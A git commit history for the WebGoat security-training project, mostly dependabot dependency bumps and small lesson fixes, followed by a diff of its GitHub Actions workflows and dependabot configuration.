2024-07-09 20:07:09 +02:00
1531987da5 chore: bump docker/build-push-action from 6.1.0 to 6.2.0 (#1839)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.1.0 to 6.2.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.1.0...v6.2.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-07 12:24:25 +02:00
bec6580c84 chore: bump docker/build-push-action from 5.4.0 to 6.1.0 (#1832)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.4.0 to 6.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.4.0...v6.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-29 10:16:10 +02:00
900702481b chore: bump org.wiremock:wiremock from 3.6.0 to 3.7.0 (#1834)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.6.0 to 3.7.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.6.0...3.7.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-26 09:14:21 +02:00
f35b23970e chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1828)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.2.1...surefire-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:44:31 +02:00
074fd8f5ff chore: bump org.webjars:webjars-locator-core from 0.58 to 0.59 (#1827)
Bumps [org.webjars:webjars-locator-core](https://github.com/webjars/webjars-locator-core) from 0.58 to 0.59.
- [Commits](https://github.com/webjars/webjars-locator-core/compare/webjars-locator-core-0.58...webjars-locator-core-0.59)

---
updated-dependencies:
- dependency-name: org.webjars:webjars-locator-core
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:32:57 +02:00
8c890b090c chore: bump io.github.bonigarcia:webdrivermanager from 5.6.3 to 5.8.0 (#1826)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.6.3 to 5.8.0.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.6.3...webdrivermanager-5.8.0)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 10:38:31 +02:00
630c1e1afd chore: bump org.ow2.asm:asm from 9.5 to 9.7 (#1829)
Bumps org.ow2.asm:asm from 9.5 to 9.7.

---
updated-dependencies:
- dependency-name: org.ow2.asm:asm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-18 09:11:59 +02:00
061c75a05f chore: bump org.apache.commons:commons-compress from 1.26.0 to 1.26.2 (#1825)
Bumps org.apache.commons:commons-compress from 1.26.0 to 1.26.2.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 08:28:49 +02:00
5e5a1363b0 chore: bump docker/build-push-action from 5.3.0 to 5.4.0 (#1824)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.3.0 to 5.4.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.3.0...v5.4.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 08:20:27 +02:00
47df923c8c chore: bump org.apache.maven.plugins:maven-enforcer-plugin (#1823)
Bumps [org.apache.maven.plugins:maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.3.0 to 3.5.0.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.3.0...enforcer-3.5.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:20:29 +02:00
5dbc642264 chore: bump com.nulab-inc:zxcvbn from 1.8.0 to 1.9.0 (#1822)
Bumps [com.nulab-inc:zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.8.0 to 1.9.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/main/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.8.0...1.9.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:14:48 +02:00
96bc6fa608 chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1821)
Bumps [org.apache.maven.plugins:maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.3.1 to 3.4.0.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.3.1...maven-checkstyle-plugin-3.4.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:09:49 +02:00
1d5a2bb6a2 chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom from 12.0.3 to 12.0.10 (#1820)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.3 to 12.0.10.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.3...jetty-12.0.10)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 07:55:02 +02:00
8b37bd58d7 chore: bump commons-io:commons-io from 2.15.1 to 2.16.1 (#1819)
Bumps commons-io:commons-io from 2.15.1 to 2.16.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-14 17:41:45 +02:00
6545e2a066 chore: bump com.github.tomakehurst:wiremock (#1810)
Bumps [com.github.tomakehurst:wiremock](https://github.com/wiremock/wiremock) from 3.0.0-beta-2 to 3.0.0-beta-10.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.0.0-beta-2...3.0.0-beta-10)

---
updated-dependencies:
- dependency-name: com.github.tomakehurst:wiremock
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:15:53 +02:00
9573b30667 chore: bump org.asciidoctor:asciidoctorj from 2.5.10 to 2.5.13 (#1811)
Bumps [org.asciidoctor:asciidoctorj](https://github.com/asciidoctor/asciidoctorj) from 2.5.10 to 2.5.13.
- [Release notes](https://github.com/asciidoctor/asciidoctorj/releases)
- [Changelog](https://github.com/asciidoctor/asciidoctorj/blob/v2.5.13/CHANGELOG.adoc)
- [Commits](https://github.com/asciidoctor/asciidoctorj/compare/v2.5.10...v2.5.13)

---
updated-dependencies:
- dependency-name: org.asciidoctor:asciidoctorj
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:09:45 +02:00
30e40f2e59 chore: bump org.jruby:jruby from 9.4.3.0 to 9.4.7.0 (#1813)
Bumps org.jruby:jruby from 9.4.3.0 to 9.4.7.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:23:28 +02:00
8f11fb6729 chore: bump docker/login-action from 3.0.0 to 3.2.0 (#1815)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.0.0 to 3.2.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.0.0...v3.2.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:17:41 +02:00
10e36c203f chore: bump com.google.guava:guava from 32.1.3-jre to 33.2.1-jre (#1814)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 32.1.3-jre to 33.2.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:13:01 +02:00
edcce09b5f chore: bump docker/build-push-action from 5.1.0 to 5.3.0 (#1816)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.1.0 to 5.3.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.1.0...v5.3.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-08 08:08:14 +02:00
3134f18066 fix: Success if only Smith earn most salary (#1744)
* Update labels

* Update Java

* Update Test

---------

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:50:38 +02:00
e219887f14 docs: Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
fix broken link OWASP ZAP -  https://www.zaproxy.org/

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:45:12 +02:00
508703ffce update dependencies and version (#1807)
* update dependencies and version
* debug macos build issue
* update and fix Dockerfile(s)
2024-05-31 19:39:03 +02:00
e308d7cde7 chore: upgrade checkout out to v4 (#1781) 2024-03-25 22:27:56 +01:00
4ab820e1d1 feat: move CSRF to A3 (#1776)
CSRF is part of security misconfiguration in the OWASP Top 10.
2024-03-21 20:50:37 +01:00
1a6a7e0be1 reverting my goofs after launching from wrong browser tab (#1774) 2024-03-19 18:01:30 +01:00
2e9140ab64 Merge pull request #1773 from misfir3/test-semgrep-on-merge
Test semgrep on merge
2024-03-18 13:21:21 -06:00
b79c83a52e linty 2024-03-18 19:19:12 +00:00
297c6f49b5 Merge branch 'main' into test-semgrep-on-merge 2024-03-18 13:14:39 -06:00
d2049a8fcc updating for testing 2024-03-18 19:13:50 +00:00
24db39eae2 test semgrep 2024-03-18 19:12:13 +00:00
98443184e9 Merge pull request #1 from WebGoat/develop
updating from main branch to test semgrep
2024-03-18 13:05:23 -06:00
62931a1836 feature: enable CORS configuration (#1771) 2024-03-17 10:55:27 +01:00
c18430752a build(Dockerfile): replace deprecated MAINTAINER tag with label of the same
Current syntax now used to denote the "WebGoat team" as maintainer

Link: https://docs.docker.com/reference/dockerfile/#label

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-25 23:20:23 +01:00
57d5b313b9 Fix typo in SQLi blind case 2024-02-10 16:02:35 +01:00
dd0f135088 fix(quiz): use $ instead of jQuery which is undefined (#1736)
Fixes: #1703

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-05 14:30:01 +01:00
ad0286d5ba chore: bump actions/cache from 3.3.1 to 4.0.0 (#1729)
Bumps [actions/cache](https://github.com/actions/cache) from 3.3.1 to 4.0.0.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.3.1...v4.0.0)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-29 11:03:15 +01:00
b67eb44142 chore: bump io.github.bonigarcia:webdrivermanager from 5.3.3 to 5.6.3 (#1716)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.3.3 to 5.6.3.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.3.3...webdrivermanager-5.6.3)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 15:10:16 +01:00
7e75e9b8fc chore: bump org.apache.commons:commons-exec from 1.3 to 1.4.0 (#1721)
Bumps org.apache.commons:commons-exec from 1.3 to 1.4.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-exec
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:59:40 +01:00
40c679ec5a chore: bump org.jsoup:jsoup from 1.16.1 to 1.17.2 (#1717)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.16.1 to 1.17.2.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.16.1...jsoup-1.17.2)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:51:32 +01:00
4ebb869f5d Fix hidden links in MissingFunctionAC.html. (#1710) 2023-12-29 15:01:35 +01:00
6bb7a182dc Fix typos in texts. 2023-12-14 23:00:59 +01:00
cb2c99d38d Improve texts to avoid confusion. 2023-12-14 22:54:20 +01:00
84029345b4 chore: bump actions/setup-java from 3 to 4 (#1698)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-06 20:17:13 +01:00
a0ca199cdc chore: bump actions/setup-python from 4 to 5
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 4 to 5.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-06 19:39:28 +01:00
2058298e2d chore: move to SNAPSHOT 2023-12-06 17:35:12 +01:00
17acef57b4 chore: add pre-commit hooks
chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks
2023-12-06 17:16:24 +01:00
d913967ec5 refactor: remove usage of RequestMapping 2023-12-06 17:16:24 +01:00
87edc7d1db refactor: use AssertJ for testing
Majority of our test cases use AssertJ
2023-12-06 17:16:24 +01:00
ac7a9c7863 chore: update GitHub action name 2023-12-05 14:22:19 +01:00
2803ef45e4 chore: bump org.webjars:bootstrap from 5.3.1 to 5.3.2 (#1693)
Bumps [org.webjars:bootstrap](https://github.com/webjars/bootstrap) from 5.3.1 to 5.3.2.
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-5.3.1...bootstrap-5.3.2)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-05 14:04:09 +01:00
5357a65e05 chore: release 2023.8 2023-12-05 11:21:15 +01:00
d343c60781 chore: do not spend time on building the Docker image
We can test this ourselves there is no need to run this on every PR towards the repository.
2023-12-05 11:15:53 +01:00
98acc1f55a fix: get the right Github token 2023-12-05 11:15:06 +01:00
f99888e61b fix: typo in the step of the name 2023-12-05 11:14:51 +01:00
29dda49190 chore: WebWolf bootstrap can now be updated 2023-12-05 11:14:27 +01:00
369be6f688 fix: disable extra build file 2023-12-05 11:14:08 +01:00
d5f869c006 chore: release version 2023.7 2023-12-04 23:10:52 +01:00
a9caaabb47 fix: wrong Docker image 2023-12-04 23:09:51 +01:00
fb2ff01775 chore: release 2023.6 2023-12-04 22:56:58 +01:00
89ecf1d2ad chore: bump actions/first-interaction from 1.2.0 to 1.3.0 (#1691)
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.2.0 to 1.3.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.2.0...v1.3.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:45:16 +01:00
1b66a742da chore: bump actions/setup-java from 3 to 4 (#1690)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:40:54 +01:00
a831da5886 chore: bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
Bumps commons-io:commons-io from 2.14.0 to 2.15.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:33:27 +01:00
fd5189c102 chore: bump com.diffplug.spotless:spotless-maven-plugin (#1688)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.38.0 to 2.41.1.
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.38.0...maven/2.41.1)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:24:53 +01:00
ae261f201a feat: show directly requested file in requests overview
When a call directly hits a file it is now show up in the requests overview. This helps the user whether an attack from WebGoat actually requested the uploaded file.

Closes: gh-1551
2023-12-04 21:34:16 +01:00
3d651526be feat: show creating time in file upload overview
Closes: gh-1551
2023-12-04 21:32:02 +01:00
c7c2a61f65 chore: fix startup message (#1687)
Since we use two application context, the event listener would print out the last one with the WebWolf context. As WebWolf is part of WebGoat we should not refer to it anymore during startup as users should always go to WebGoat first.
2023-12-04 07:59:29 +01:00
b7f657ad2c chore: fix WebWolf UI (#1686)
Fix-ups after the Bootstrap 5 upgrade for WebWolf.
2023-12-02 12:59:56 +01:00
7fea42afe9 Fix/state of software supply chain links (#1683)
* fix:update state of software supply chain links

* fix:fix second link

* fix:links formatting

---------

Co-authored-by: maurycupitt <maury@cupitt.com>
2023-11-27 15:33:14 +01:00
826887cc83 Consistent environment values and url references (#1677)
* organizing environment variables

* Update application-webgoat.properties

* Update pom.xml

* test without ssl

* fix docker base image and default env entries

* seperate server.address from webgoat.host and webwolf.host

* change base image and enable endpoint logging for docker as well

* change README

* change README

* make integration test able to verify against alternative host names

* use dynamic ports and remove system println
2023-11-27 14:35:49 +01:00
62db86246e chore: back to snapshot 2023-11-23 22:34:34 +01:00
749 changed files with 6559 additions and 10515 deletions

2
.github/FUNDING.yml vendored
View File

@ -1 +1 @@
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

View File

@ -8,10 +8,7 @@ updates:
directory: "/" directory: "/"
schedule: schedule:
interval: "weekly" interval: "weekly"
ignore:
- dependency-name: "org.webjars:bootstrap" # First the WebWolf UI needs to be refactored due to breaking changes
- package-ecosystem: "docker" - package-ecosystem: "docker"
directory: "/" directory: "/"
schedule: schedule:
interval: "weekly" interval: "weekly"

View File

@ -11,11 +11,11 @@ jobs:
strategy: strategy:
matrix: matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ] os: [ ubuntu-latest, windows-latest, macos-latest ]
java-version: [ 17, 21 ] java-version: [ 21 ]
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v4
- name: Set up JDK ${{ matrix.java-version }} - name: Set up JDK ${{ matrix.java-version }}
uses: actions/setup-java@v3 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: ${{ matrix.java-version }} java-version: ${{ matrix.java-version }}
@ -51,4 +51,4 @@ jobs:
file: ./Dockerfile_desktop file: ./Dockerfile_desktop
push: false push: false
build-args: | build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

View File

@ -1,60 +1,51 @@
name: "Pull requests build" name: "Main / Pull requests build"
on: on:
pull_request: pull_request:
paths-ignore: paths-ignore:
- '.txt' - '.txt'
- 'LICENSE' - 'LICENSE'
- 'docs/**' - 'docs/**'
branches: [ main ]
push:
branches:
- main
jobs: jobs:
pr-build: pre-commit:
if: > name: Pre-commit check
github.event_name == 'pull_request' && !github.event.pull_request.draft && ( runs-on: ubuntu-latest
github.event.action == 'opened' ||
github.event.action == 'reopened' ||
github.event.action == 'synchronize'
)
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ]
steps: steps:
- uses: actions/checkout@v3 - name: Checkout git repository
- name: Set up JDK 17 uses: actions/checkout@v4.1.6
uses: actions/setup-java@v3 - name: Setup python
uses: actions/setup-python@v5
with:
python-version: "3.9"
- uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: '23'
architecture: x64 - name: Pre-commit checks
- name: Cache Maven packages uses: pre-commit/action@v3.0.1
uses: actions/cache@v3.3.1 - name: pre-commit-c-lite
uses: pre-commit-ci/lite-action@v1.1.0
if: always()
build:
runs-on: ${{ matrix.os }}
needs: [ pre-commit ]
strategy:
fail-fast: true
matrix:
os: [ windows-latest, ubuntu-latest, macos-13 ]
max-parallel: 1
steps:
- uses: actions/checkout@v4.1.6
- name: Set up JDK 23
uses: actions/setup-java@v4.2.1
with: with:
path: ~/.m2 distribution: 'temurin'
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} java-version: 23
restore-keys: ${{ runner.os }}-m2- architecture: x64
cache: 'maven'
- name: Build with Maven - name: Build with Maven
run: mvn --no-transfer-progress verify run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
if: runner.os == 'Linux'
uses: docker/setup-qemu-action@v2.2.0
- name: "Set up Docker Buildx"
if: runner.os == 'Linux'
uses: docker/setup-buildx-action@v3
- name: "Verify Docker WebGoat build"
if: runner.os == 'Linux'
uses: docker/build-push-action@v5.1.0
with:
context: ./
file: ./Dockerfile
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v5.1.0
if: runner.os == 'Linux'
with:
context: ./
file: ./Dockerfile_desktop
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

View File

@ -8,24 +8,20 @@ jobs:
if: github.repository == 'WebGoat/WebGoat' if: github.repository == 'WebGoat/WebGoat'
name: Release WebGoat name: Release WebGoat
runs-on: ubuntu-latest runs-on: ubuntu-latest
permissions:
contents: write
environment: environment:
name: release name: release
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v4
- name: Set up JDK 17 - name: Set up JDK 23
uses: actions/setup-java@v3 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 23
architecture: x64 architecture: x64
cache: 'maven'
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2
- name: "Set labels for ${{ github.ref }}" - name: "Set labels for ${{ github.ref }}"
run: | run: |
@ -44,7 +40,7 @@ jobs:
files: | files: |
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: | body: |
## Version ${{ github.ref_name }} ## Version ${{ github.ref_name }}
### New functionality ### New functionality
@ -53,8 +49,8 @@ jobs:
### Bug fixes ### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }} Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
## Contributors ## Contributors
@ -72,7 +68,7 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up QEMU" - name: "Set up QEMU"
uses: docker/setup-qemu-action@v2.2.0 uses: docker/setup-qemu-action@v3.4.0
with: with:
platforms: all platforms: all
@ -80,18 +76,18 @@ jobs:
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v3
- name: "Login to dockerhub" - name: "Login to dockerhub"
uses: docker/login-action@v3.0.0 uses: docker/login-action@v3.3.0
with: with:
username: ${{ secrets.DOCKERHUB_USERNAME }} username: ${{ secrets.DOCKERHUB_USERNAME }}
